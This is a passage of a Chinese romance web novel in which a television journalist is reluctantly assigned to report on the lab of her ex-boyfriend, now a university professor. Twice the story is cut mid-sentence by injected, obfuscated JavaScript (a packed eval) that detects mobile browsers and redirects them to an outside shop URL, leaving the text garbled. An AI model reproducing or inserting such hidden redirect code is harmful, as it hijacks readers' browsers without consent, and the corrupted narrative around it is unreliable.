七年过去,就在她早已觉得两个人不会再出现在彼此生命里的时候,却这样毫无心理准备地遇见,大脑其实有些空白。 她也说不清自己此刻的感受。 “今天的事,不好意思啊。” 她看着程喻,很艰难地开了口。 “我不是有意的,只是来帮忙——” “知道。” 话没说完,程喻淡淡地笑了。 “朋友,对吧?你对朋友一向最讲义气,之前不也因为讲义气,勉强自己和我谈了恋爱,理解。” “……” 许曼曼哑口无言。 她没话说,程喻却也已经把话说完了,站起身来。 “我要走了,你呢?” 明明不是一起来的,最后却是他们一起离开。 进了电梯,许曼曼按了地下二层的车库,程喻却按了大厅。 她有些疑惑,他刚才好像没喝酒,难道没开车来吗? 想问一下,又觉得很奇怪,这好像跟自己也没关系。 于是电梯里同样安静,中途也没人上来,两人就这么一路沉默地到了一层。 电梯门开了,程喻一句话都没有,头也不回地走了出去。 眼看着电梯门要关上,许曼曼终于忍不住叫他。 “程喻!” 说着,急忙按住开门键,看到他面无表情地回身。 “那个,你没开车吗?” 她说,不知怎么有些讪讪的。 “我开车来的,要顺路送你吗?” 他看着她,明明还是那副面无表情的样子,心情却好像更差了。 于是她又连忙解释:“因为外面在下雨——” “不用了。” 他说,声音冷淡。 “不顺路。” 40. 孽缘 “他竟然去相亲!” 回家之后,许曼曼衣服都没换,在客厅走来走去的,越想越气。 “不是我说,这都能遇见,你们俩这是孽缘啊。” 林乔正摊在沙发上敷面膜,说话有些模糊不清。 “什么孽缘,谁跟他有缘!”许曼曼又重复了一遍,“你没听我说话吗,他竟然去相亲!相亲!” “所以呢?怎么了呢?” 林乔摊了摊手。 “他为什么不能去相亲?你们都分手多久了,你管得未免也太宽了吧?人家男未婚女未嫁的,去相个亲怎么了,你生什么气?” “可是他……” 许曼曼被问住,这才意识到自己确实没理由生气。 见她卡壳,林乔又说:“七年了,朋友,该说不说,生个小孩都要上小学了,人家女朋友说不定都换过八个了,你在这里气什么呢?” “而且你重点搞错了吧,这反倒是好事啊,说明他还没有结婚,而且现在单身。” “什么好事。”许曼曼冷笑一声,“他单不单身关我屁事。” 敷着面膜,也能看到林乔翻了个大大的白眼。 “那他现在在哪儿?从美国回来了呗?也在东澜?” “不知道,没问。” 回想起来,两个人根本也没说几句话,哪里会问这些。 这几年,有关程喻的消息她一概不知,倒不是没有渠道,只能说是刻意回避了。 妈妈应该是知道的,但她没问,妈妈也就没主动提过。 于是程喻这个人,就这样从自己的世界消失了,而且消失得很彻底。 林乔无语:“你可真行。” “你是没看到他那个态度!”许曼曼想到就来气,“根本就不搭理人,完全把我当空气,都不带看我一眼的!” “人家凭什么搭理你呀,你分的手,你断的联,看你现在这样子,我也能猜出见面时你的态度,换我我也懒得搭理你。” “……你替谁说话呢!” 林乔笑了,往旁边一倒,彻底躺了下来。 “实话实说而已。” 外面还下着雨,在客厅的雨声中,林乔招呼她坐下。 “哎,曼曼,你别光在那边发疯,有个事需要仔细想一下。” “什么?” “我没记错的话。”她说,“赵宜杭这个同样是孽缘的姐姐,长得和你很像吧?” “嗯?” “你俩当时不就这么认识的?他觉得你长得像他姐,所以主动认识你。” “是,不过我觉得我们也没有很像,五成吧。” “重点不是几成。”林乔语气暧昧,“是‘像’。” 许曼曼愣住,想了想。 “你是说,他是因为她长得和我有点像,才去相亲的?” “一个猜测。” 林乔摘了面膜,起身往洗手间走。 “哎,反正你们这乱七八糟的关系,我是有点看不懂了。” 许曼曼跟着她走去洗手间,靠在门边。 “我觉得不是。” 林乔正洗脸,因为水声听不到,关了水龙头问她。 “什么?” “感觉他像变了个人似的。”许曼曼说,“眼神冷冰冰的,话都懒得跟我说。” 林乔擦着脸,看了她一眼。 “别说这个,就说你自己,你希望是,还是不是呢?” 许曼曼想了想,诚实地说。 “不知道。” “你呀,最大的问题就是这个,什么都不知道,等知道的时候就晚了。” “算了,管他的呢。” 许曼曼有些烦躁,把手一挥。 “今天只是倒霉的巧合,又不会再遇到,是不是的也不关我事了。” “难说。”林乔邪魅一笑,“照你俩这缘分,真的不好说。” * 还真被她这张乌鸦嘴说中了。 周一上班,还没开例会,组长就先把许曼曼叫去了办公室。 “新的专题。”他递过来一份资料,“先说一下,很重要,台里很重视。” 然后大致讲了一下,是一个跨卫视联合推出的专题报道,聚焦区域协同下的科研成果转化,由华都卫视牵头,东澜卫视协调配合。 “这事就交给你了。”组长说,“待会例会上着重讲,你先看一下,明天就要去华都出差。” 许曼曼答应下来,结果回到工位,翻开资料刚看了两页,立刻两眼一闭,往后一倒。 旁边的汪思瀚转过椅子来,有些好奇。 “曼曼姐,怎么了?” “干不了。” 她说,也不知道是在回答他还是告诉自己。 就这么静静装了会儿死,这才睁眼坐正,把资料合上了。 “这事换别人吧,我干不了。” 但是组长交代完就走了,还有别的会要开。 没办法,许曼曼只能等着,这中间还是把资料大概过了一遍。 实在不能怪她反应大,这份资料总共也没几页,结果第二页就标注了程喻的大名。 里面详细介绍了他的学历、头衔、成就,最重要的是,这次专题中一个会着重报道的课题组,就是他的。 他现在是清岚大学材料系的副教授,回国刚半年,已经组建了自己的科研团队,实验室正在推进的技术项目,更是这次产业试点的核心。 看来离开了她,他果然过得很好,该得到的都得到了。 前天林乔问起的时候,她还一无所知,连人在哪里工作都不知道,没想到今天就以这样的方式得知。 只是从资料上白纸黑字地看到,未免有些太正式,也太讽刺了。 不知道他相亲的时候是怎么介绍自己的,这些头衔荣誉,姜蔚都知道吗? 还是说会说别的,身高星座血型,或者性格爱好之类的。 这些许曼曼倒是知道,但是过了这么久,性格爱好也许早就变了。 对于现在的他,自己几乎也是一无所知了。 这么想着,她把资料看完,别的倒也没什么可说的,确实是她的工作范畴。 这种涉及到两台合作的事,会比较麻烦,内容繁琐,流程又长,要做的前期准备和后期跟进,绝对是一场长期艰苦仗,有这方面经验的还真没几个。 但她还是不想接,就现在的状况来说,突然跟程喻在工作上有交集,她觉得自己做不到。 于是组长回来之后,她赶紧趁着例会开始前,先去把任务退掉。 组长有些惊讶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968161|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“怎么还开始挑活了?” “我能力可能胜任不了。” “别胡扯,要是胜任不了,我会交给你?”组长说,“咱们组本来就缺人手,老陆退了之后,就把你培养起来做高校口,现在总算是接上班了,你不做谁做?” 又告诉她刚刚开会的内容,东澜这边的产业博览会有新动向,原来的专题要加内容。 “最近忙成这样你不是不知道,本来想让小汪跟着你,现在他和老郑都去不了了,还是以产博会为主,摄影先让华都那边配合,反正周期长,有什么等之后再说。” 许曼曼还在试图挣扎:“那我来这边,换小汪去华都。” “不行。”组长断然拒绝,“这可是跨台合作的项目,交给他我不放心。” 说着,他倒是疑惑起来了。 “到底怎么了?这个对你来说不难啊,你从产业转高校口,这简直为你量身定做的专题。要说出差,你出差得还少吗?而且这也不需要到处跑,就固定下来去华都,有什么问题吗?” 许曼曼不说话,她能怎么说,说其中一个采访对象是自己前男友吗? 她不说话,组长立刻拍板定了。 “好了,华都那边我都打过招呼了,就你去。” “对了。”他突然又想起来,“我看过了,清岚大学那个年轻的教授,和你是老乡啊,都是星港的,你们这老乡一见面,说话办事更方便,多好。” 说完,他一副这事已经定了的样子,挥了挥手。 “好了好了,你回去准备一下,明天就出差吧。” 许曼曼绝望地闭上了眼睛。 组长,你不懂,就是因为是老乡,才更不好说话的。 * 晚上把这个悲催的消息告诉林乔,她人在加班,隔着电话还有心情笑她。 “我就说你俩是孽缘吧,你还不信!” “笑个屁!” 许曼曼一边收拾行李,一边骂人。 “命运是这样的。”林乔终于笑够了,劝她,“这么好的机会,不如趁机复合吧。” “复个屁!” 许曼曼把睡衣扔进行李箱里,语气很凶。 “他在华都上班,为了相亲都能跑到东澜来,我祝他幸福好吧!百年好合!” “合着还因为这事生气呢。”林乔笑了,“你最好是祝福。” “我当然是,我不仅是,我还要去相亲!” “哈?” “你们公司有没有合适的,给我介绍一个。” “我们公司?”林乔笑得更欢了,“我们公司恨不得男厕所都没有,来我们公司找相亲对象,那你算是找对了。” 林乔研究生毕业之后,还是来了东澜工作。 这次吸取之前的教训,直接进了甲方,但加班反而更多了。 而且同事几乎全是女生,男女比例比她们学院还要离谱。 “你这什么朋友,怎么人家朋友都能给介绍,我的朋友就这么无能?” “无能?我给你一个建议,你直接去华都找一个,他来东澜,那你就去华都,这样你们还可以永远分开,一举两得。” “行。” 许曼曼合上行李箱,拿过手机。 “我明天就去华都电视台找一个。” 41. 程教授 许曼曼第二天就飞去华都。 先去电视台和负责人见面,这个项目是他们这边牵头的,所以格外重视,制片人杨丰亲自和她对接。 还有就是摄影师,这边果然安排了人配合她,一个叫彭宇青的年轻摄影,性格很活泼。 许曼曼主要负责的还是高校科研部分,所以杨丰着重介绍了一下。 “学校方面我们都已经沟通好了,还是挺不容易的,尤其清岚大学那边,项目还在前期阶段,而且负责人对这种事不感兴趣。” 他说,笑了笑。 “也能理解,年轻人嘛,国外回来的,能力强又有性格,最开始直接拒绝了。” “我们也没放弃,还是努力做工作,又出了一版更详细的项目书,托学校递过去,这次不光描述大主题大框架,把具体的思路,包括咱们两台联合的情况也都加上了,没想到第二天就收到回复,说是可以。” 许曼曼知道项目筹备已经有一段时间了,但这事还是第一次听说。 想了想,问他。 “那边什么时间同意的?” “有一个月了吧。”他说,“之后推进就很顺利了。” 一个月?也就是说程喻早就知道会和东澜电视台有工作上的接触了? 那他怎么还会同意? 毕竟这是科技组的事,许曼曼很有可能参与。 而看他的态度,分明不想和她扯上关系,怎么到这里反而无所谓了? 许曼曼想来想去,只想到两个可能。 要么他也和自己一样,根本不清楚对方的现状,对她这个人,包括工作一无所知。 要么就是已经完全不在意了,觉得就算在工作中遇到,也不会影响情绪。 不得不说,不管哪一种可能,都还挺让人沮丧的。 * 开完碰头会,下午就一起去三所高校对接。 先去了另外两所大学,清岚大学是最后一站,到的时候已经四点多了。 车停在校内,许曼曼下来的时候还有点晃神。 好久没来过了,上一次好像还是七年前,也是和程喻分手之前。 七年过去,感觉这里并没有什么变化,树还是树,花还是花,天空的流云似乎都还和当时一样。 好像世界上变化最小的地方就是校园,永远纯净灿烂,永远有青春的面孔,时间在这里都会放慢脚步似的。 许曼曼这两年转高校口,在东澜的大学校园里打转,对这种环境倒也熟悉。 不过对于清岚大学,心情还是有些不一样的。 校方这边的负责人,是宣传部一名姓王的老师,先去和她沟通了相关事宜。 “拍摄日程这些我做不了主,还是要和程教授商量过后再说。”她说,“他虽然同意了,但还是以工作为主,只能说尽量配合,因为他平时真的很忙。” ——程教授。 许曼曼听着这个称呼,莫名有些想笑,感觉很难和程喻联系起来。 在东澜那次见面,的确能感受到他的变化,不仅仅是成熟与否,而是整个人的气场都变了。 还是从前那般高、瘦,站在身前,却给人一种极强的压迫感。 看人的时候,眉目间的冷感藏都不藏,眼神凌厉,表情更是冷淡。 当然,也可能只是对她。 这个好久不见,又换了一重身份的程喻,对别人来说是锋芒毕露的青年科学家,是日程紧张工作繁忙的教授,对自己来说,却仍是从小一起长大,短暂地谈过一段恋爱又分开的,程喻。 只是程喻。 他在这之间的身份变化,她因为没有亲眼目睹、亲身经历,总觉得一切都还停在二十岁的那年夏天。 可是那已经好远好远了。 * 王老师带他们去办公室,许曼曼对材料学院的楼其实还蛮熟悉的,一路走过去,有种说不上来的抗拒。 做了这么久的心理准备,但真要面对了,好像还是很难。 到了办公室,进去的时候她落在后面,看了眼门边的铭牌。 ——程喻副教授 好像这才有了真实感,关于屋里这个人,真的已经是程教授这件事。 进去看到他工作中的样子,衬衫袖子挽起来,有些随意,和东澜那天的感觉又不太一样。 王老师依次介绍,到她的时候说:“这位是东澜电视台的记者,许曼曼。” 不知道这算不算一种讽刺,换了城市换了地点,在熟悉或者陌生的人面前,他们却总要装作互不相识。 于是许曼曼再次礼貌微笑,对他说了你好。 从进门起,他视线就没落到过她身上,依然是完全的无视状态。 这会儿总算看了过来,淡淡点头,回了你好。 他这副公事公办的样子,倒是让许曼曼松了口气。 杨丰站在旁边,又帮忙补充道:“后续这边的取材报道,都会由许记者负责。” ——许记者。 她倒也成了有这种后缀的人了。 这么想着,许曼曼有些僵硬地笑了一下。 也不知道是对谁笑的,目光看过去,程喻都没有看她,只点了点头。 谁知道杨丰突然又插一嘴。 “对了,程教授也是星港人。”他这话是对许曼曼说的,“你们还算老乡呢。” 又来了,这些人到底怎么回事,一个两个的都这么关心星港。 组长也就算了,他一个隔壁台的,怎么也知道她是星港人? 和程喻对上视线,他没什么表情,似乎话里提到的人根本不是他。 许曼曼只好勉强笑了笑,语气干巴巴的。 “是吗,这么巧。” 不知道是不是她的错觉,这话说完,程喻嘴角扯了扯,露出了微不可察的冷笑。 * 实验室就在楼下,进去的时候,里面似乎刚结束一轮实验,有学生在实验台旁边看电脑,一只手还戴着手套。 抬头看到有人进来,没什么反应。 摘下手套,叫了声。 “老师。” “嗯。”程喻过去看了眼,“这组怎么样?” “还在等反应结束。” 他们简单交谈了几句,杨丰跟在旁边,问了几个实验室相关的问题。 彭宇青举起设备开始试光,许曼曼给他让出位置,站在一边听着,偶尔在笔记本上记一下。 墙边的通风橱还亮着灯,抽风声没停,空气里有一股明显的溶剂味。 许曼曼眼睛比较敏感,进来之后就觉得发涩,不太好睁开。 忍了会儿,突然有种要流泪的感觉,于是下意识抬手,想要揉一下眼睛。 手才刚抬起来,那边程喻正和杨丰说着话,却突然中断了话题。 “别揉。” 许曼曼动作停住,他不知道什么时候看了过来,皱着眉头。 然后走过来,一把抓住她抬起的手腕。 “她眼睛有不适症状,我带她去处理。” 又转头对那个学生说:“方翼,你带一下,核心区不要进人。” 说完,就这么抓着她的手腕,把人带了出去。 出了实验室,把她带到洗眼器旁边,这才松了手。 打开水阀,把水流调小了一些。 “靠过来,低头。” 许曼曼眯着眼睛,有些僵硬地靠过去,让水流冲洗着眼睛。 他站在旁边,又提醒她。 “别眨眼。” 许曼曼尽量做到不眨眼,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“今天什么日子,出门真该看一下黄历的。” “怎么,你也很倒霉?” “跟前男友一起工作,被训了还没法反驳,算倒霉吗?” 贺潇思考片刻,声音突然变大。 “什么?程喻回来了?!” “小点声!” 许曼曼一边示意她降低音量,一边郁闷。 “我就不能有个别的前男友?” 服务员刚好来上菜,贺潇等人走了之后才接话。 “你要能有倒好了。” 说着,又问她:“到底怎么回事?什么时候回来的?你怎么都没跟我说?” “因为也就才没几天。” 许曼曼很饿,一边吃菜一边把经过告诉她。 “这也太狗血了吧?” 听完,她的第一感想先是这个。 随即又问:“那赵宜杭呢?就这么水灵灵跑回来把你坑了,他自己呢?” 贺潇和林乔不一样,她对程喻其实了解不多,反倒是和赵宜杭比较熟。 所以关注点也就和林乔不一样。 “好问题。”许曼曼幸灾乐祸道,“两个人大吵一架,被他姐拉黑之后就回米兰了。” “哦。”贺潇点头,又关心她,“你没被拉黑吧?” “放心,我压根没有程喻联系方式。” “……”